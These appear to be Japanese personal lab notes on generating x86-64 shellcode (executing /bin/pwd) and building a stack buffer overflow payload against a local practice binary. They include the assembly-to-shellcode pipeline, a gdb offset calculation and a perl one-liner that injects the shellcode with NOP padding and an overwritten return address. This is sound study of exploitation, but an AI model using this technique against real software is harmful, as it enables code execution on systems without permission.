■シェルコードの生成、ペイロード実行
・アセンブリ言語で作った元のファイル:pwd_exec.asm
・¥ はバックスラッシュを指す
# nasm -f elf64 -o pwd_exec.o pwd_exec.asm
# objdump -M intel -d pwd_exec | grep '^ ' | cut -f2 | perl -pe 's/(¥w{2})¥s+/¥¥x¥1/g'
=> \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
あとはシェルコードを開始する位置と戻り番地が格納されている先頭アドレスの差を
求めてペイロードを作成
例
シェルコード開始アドレス:0x7fffffffe070
戻り番地の格納アドレス:0x7fffffffe0c8
(gdb) print 0x7fffffffe0c8 - 0x7fffffffe070
=> $1 = 88
つまり88バイト分の差があるので
シェルコード(29バイト) + NOPコマンド(59) + シェルコード開始アドレス(8バイト)
これを引数として渡せばシェルコードが実行される
# ./bypass $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "\x70\xe0\xff\xff\xff\x7f";')
ちなみに
gbdの方では、戻り番地として渡すアドレスは0x7fffffffe070で成功
Cの方では、戻り番地として渡すアドレスは0x7fffffffe0a0で成功
ターミナルで実行するのとデバッガで実行するのとでは
多少アドレスが変わることがわかった